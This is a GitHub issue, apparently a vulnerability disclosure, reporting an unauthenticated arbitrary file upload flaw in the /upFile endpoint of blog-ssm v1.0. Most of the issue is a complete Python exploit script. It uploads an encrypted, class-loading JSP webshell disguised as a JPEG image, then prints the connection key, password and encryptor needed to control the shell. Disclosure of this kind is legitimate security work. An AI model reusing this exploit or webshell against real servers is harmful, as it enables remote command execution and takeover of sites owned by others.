blog-ssm icon indicating copy to clipboard operation
blog-ssm copied to clipboard

Unrestricted Upload of File with Dangerous Type In /upFile

Open mbslzny opened this issue 2 years ago • 0 comments

Unrestricted Upload of File with Dangerous Type In /upFile

[Suggested description]

blog-ssm v1.0 was found to contain an arbitrary file upload vulnerability via the component /upFile. This vulnerability allows an attacker to escalate privileges and execute arbitrary commands through a crafted file.

[Vulnerability Type]

Unrestricted Upload of File with Dangerous Type

[Vendor of Product]

https://github.com/rawchen/blog-ssm

[Affected Product Code Base]

1.0

[Affected Component]

blog-ssm 1.0

OS: Windows/Linux/macOS

Browser: Chrome、Firefox、Safari

[Attack Vector]

Step1:After a code audit, it was found that /upFile has unauthorized access and arbitrary file uploads.

image-20220901144733006

Step2:Build EXP according to the code audit results, and run it to get the URL address of WebShell: http://localhost:8081/upload/blog/20220901/1662015136678.jsp

image-20220901145545937

EXP:
import requests

# Configure the target URL.
Host = "localhost:8081"
Path = "upFile"
Url = "http://{Host}/{Path}".format(Host=Host, Path=Path)
# Configure Headers.
Headers = {"sec-ch-ua-mobile": "?0",
           "sec-ch-ua-platform": "\"Windows\"",
           "Upgrade-Insecure-Requests": "1",
           "Origin": "http://{Host}".format(Host=Host),
           "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryNOyNFd8trb922Qzd",
           "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) "
                         "Chrome/104.0.0.0 Safari/537.36",
           "Connection": "close"}
# Configure Data, where the WebShell key is KEY, the password is Pass, the payload is JavaDynamicPayload,
# and the encryptor is JAVA_AES_BASE64.
Data = "------WebKitFormBoundaryNOyNFd8trb922Qzd\r\nContent-Disposition: form-data; name=\"editormd-image-file\"; " \
       "filename=\"text.jsp\"\r\n" \
       "Content-Type: image/jpeg\r\n\r\n" \
       "<%! String xc=\"3c6e0b8a9c15224a\"; String pass=\"pass\"; String md5=md5(pass+xc); class X extends " \
       "ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, " \
       "cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance(" \
       "\"AES\");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),\"AES\"));return c.doFinal(s); }catch " \
       "(Exception e){return null; }} public static String md5(String s) {String ret = null;try {" \
       "java.security.MessageDigest m;m = java.security.MessageDigest.getInstance(\"MD5\");m.update(s.getBytes(), 0, " \
       "s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {" \
       "}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = " \
       "null;try {base64=Class.forName(\"java.util.Base64\");Object Encoder = base64.getMethod(\"getEncoder\", " \
       "null).invoke(base64, null);value = (String)Encoder.getClass().getMethod(\"encodeToString\", new Class[] { " \
       "byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName(" \
       "\"sun.misc.BASE64Encoder\"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass(" \
       ").getMethod(\"encode\", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception " \
       "e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] " \
       "value = null;try {base64=Class.forName(\"java.util.Base64\");Object decoder = base64.getMethod(" \
       "\"getDecoder\", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod(\"decode\", " \
       "new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { " \
       "base64=Class.forName(\"sun.misc.BASE64Decoder\"); Object decoder = base64.newInstance(); value = (byte[" \
       "])decoder.getClass().getMethod(\"decodeBuffer\", new Class[] { String.class }).invoke(decoder, new Object[] { " \
       "bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(" \
       "pass));data=x(data, false);if (session.getAttribute(\"payload\")==null){session.setAttribute(\"payload\"," \
       "new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute(\"parameters\"," \
       "data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((" \
       "Class)session.getAttribute(\"payload\")).newInstance();f.equals(arrOut);f.equals(" \
       "pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(" \
       "base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (" \
       "Exception e){}\r\n%>\r\n" \
       "------WebKitFormBoundaryNOyNFd8trb922Qzd--\r\n"
response = requests.post(Url, headers=Headers, data=Data)
# Output WebShell address and connection information.
Path = response.json()['url']
Url = "http://{Host}{Path}".format(Host=Host, Path=Path)
print("Web_Shell_Url:{Url}".format(Url=Url))
print("Web_Shell_Key:{Key}".format(Key="key"))
print("Web_Shell_Pass:{Pass}".format(Pass="pass"))
print("Web_Shell_Payload:{Payload}".format(Payload="JavaDynamicPayload"))
print("Web_Shell_Encryptor:{Encryptor}".format(Encryptor="JAVA_AES_BASE64"))
Step3:Connect to the Trojan via http://localhost:8081/upload/blog/20220901/1662015136678.jsp.

image-20220901145821537

image-20220901150013755

[Attack Type]

Remote

[Impact Code execution]

True

[Reference(s)]

http://cwe.mitre.org/data/definitions/23.html

mbslzny avatar Sep 01 '22 13:09 mbslzny